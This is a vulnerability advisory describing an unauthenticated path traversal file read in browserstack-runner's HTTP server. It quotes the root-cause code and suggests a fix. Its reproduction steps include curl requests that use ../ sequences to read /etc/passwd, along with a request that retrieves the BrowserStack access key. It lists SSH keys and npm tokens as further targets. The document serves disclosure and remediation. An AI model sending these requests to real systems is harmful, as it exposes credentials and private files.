Lack of data validation - Path Traversal In browserstack-runner
Description
browserstack-runner has an unauthenticated arbitrary file read via path traversal in HTTP server
Summary
The HTTP server in browserstack-runner serves files from the project directory via the _default handler. This handler uses path.join(process.cwd(), uri) to resolve file paths but does not validate that the resulting path stays within the project root. Combined with the server binding on 0.0.0.0 (all interfaces) and the absence of any authentication, this allows an unauthenticated network-adjacent attacker to read arbitrary files from the host filesystem.
Root Cause
lib/server.js, lines 530–534 : _default handler:
'_default': function defaultHandler(uri, body, request, response) { var filePath = path.join(process.cwd(), uri); handleFile(filePath, request, response); }
uri comes from url.parse(request.url).pathname (line 540), which preserves ../ sequences. path.join resolves them, producing absolute paths outside the project directory. No boundary check is performed before serving the file.
bin/cli.js, line 131 : server binding:
server.listen(parseInt(config.test_server_port, 10));
No hostname is specified, so Node.js binds on 0.0.0.0 (all interfaces).
No authentication: The _default handler does not call getWorkerUuid() or perform any authentication check.
Steps to Reproduce
Step 1 : Start the server (Terminal 1)
cd browserstack-runner echo '<html><body>test</body></html>' > _poc_test.html echo '{"username":"X","key":"X","test_path":"_poc_test.html","test_framework":"qunit","browsers":[]}' > browserstack.json node bin/runner.js
Step 2 : Read arbitrary files (Terminal 2)
Read /etc/hostname:
curl -s --path-as-is "http://127.0.0.1:8888/../../../etc/hostname"
Read /etc/passwd:
curl -s --path-as-is "http://127.0.0.1:8888/../../../etc/passwd"
Read the BrowserStack access key from config:
curl -s "http://127.0.0.1:8888/browserstack.json"
Note:
--path-as-isis required because curl normalizes../sequences by default. Browsers and HTTP libraries that do not normalize URL paths (or that allow raw path construction) can exploit this without special flags.
Expected Result
/etc/hostname → server returns the machine hostname
/etc/passwd → server returns the full passwd file
browserstack.json → server returns the config including the BrowserStack access key
Impact
BrowserStack access key theft : browserstack.json is always in the project root (same directory the server serves from), and contains username and key in cleartext
Source code theft : all project files are readable
System file disclosure : /etc/passwd, /etc/shadow (if readable), SSH keys, .env files, .npmrc (npm tokens), etc.
Chainable with Finding #1 : same server, same exposure window, same network-adjacent attacker
Suggested Fix
Validate the resolved path stays within the project root:
var filePath = path.resolve(process.cwd(), '.' + uri); if (!filePath.startsWith(process.cwd() + path.sep)) { sendError(response, 'Forbidden', 403); return; }
Bind on 127.0.0.1
Add authentication to the _default handler
Mitigation
Update Impact
Minimal update. May introduce new vulnerabilities or breaking changes.
Ecosystem | Package | Affected version |
|---|---|---|
 npm |
Aliases
References